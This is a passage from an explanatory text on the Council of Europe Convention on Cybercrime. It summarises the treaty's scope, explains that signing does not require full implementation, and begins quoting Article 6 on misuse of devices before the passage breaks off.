      Article 40 - Declarations
      Article 41 - Federal clause
      Article 42 - Reservations
      Article 43 - Status and withdrawal of reservations
      Article 44 - Amendments
      Article 45 - Settlement of disputes
      Article 46 - Consultations of the Parties
      Article 47 - Denunciation
      Article 48 - Notification

6.5 Some Explanations

6.5.1 In General

As you can see, the CoC covers a very wide scope. It does everything from
labelling what actions should be illegal (Chapter II Section 1), to
explaining how government bodies are to invoke law to enforce those laws
(Chapter II Section 2), to explaining where the law applies, to explaining
exactly how countries should work together, to explaining all the metadata
in relation to the treaty itself. 

The treaty illustrates not just crimes, but how governments (within
themselves and with other governments) should deal with these crimes and
form the authority to do so. This treaty is utterly wide in scope of
suggestions. For a country to implement it verbatim they would probably
need to not just overhaul their computer crime legislation, but also their
entire legal system, their constitution, and their organization of
government.

However, signing this treaty does not require a country to implement
everything. First off, the treaty uses terms like "may" a lot. Secondly,
many parts specifically say they do not need to be implemented. Thirdly,
this convention can be considered as basically a set of recommendations.
Fourthly, signing it is just a ceremonial agreement with it in theory. To
come into effect it needs to be ratified within a nation, and then many
parts may need to be directly implemented into law.

6.5.2 Specific Articles

Most of the actual actions limited are fairly straightforward. However,
some could use a little more explanation.

6.5.2.1 Article 6 - Misuse of devices

Allow me to take the law and remove labels.

1. "Each Party shall adopt such legislative and other measures as may be
necessary to establish as criminal offences under its domestic law, when
committed intentionally and without right: the production, sale,
procurement for use, import, distribution or otherwise making available
of: a device, including a computer program, designed or adapted primarily
for the purpose of committing any of the offences established in
accordance with Articles 2 through 5; a computer password, access code, or
similar data by which the whole or any part of a computer system is
capable of being accessed, with intent that it be used for the purpose of
committing any of the offences established in Articles 2 through 5; and
the possession of an item referred to in paragraphs above, with intent
that it b